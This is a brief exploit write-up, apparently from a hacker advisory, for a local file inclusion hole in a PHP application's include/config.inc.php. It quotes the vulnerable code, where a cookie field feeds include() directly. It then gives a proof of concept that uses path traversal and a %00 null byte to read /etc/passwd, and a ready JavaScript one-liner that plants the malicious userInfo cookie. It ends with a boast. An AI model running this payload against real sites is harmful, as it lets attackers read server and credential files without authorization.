vuln file: include/config.inc.php
vuln code:

x:  >...
61: if (isset($HTTP_COOKIE_VARS["userInfo"]) && $HTTP_COOKIE_VARS["userInfo"] != "") {
	$userArray = explode(" ", $HTTP_COOKIE_VARS["userInfo"]);
	$userName = $userArray[0];
	$userID = $userArray[1];
	$userLang = $userArray[2];
	include("include/lang/$userLang/inc.messages.php");
67:	}
x:  <...

Proof of Concept (function 'explode' PHP):
[0] = JosS;
[1] = JosS;
[2] = ../../../../etc/passwd%00; ---> INCLUDE

exploit: 
javascript:document.cookie="userInfo=JosS JosS ../../../../etc/passwd%00; path=/";

Ingenious work :D
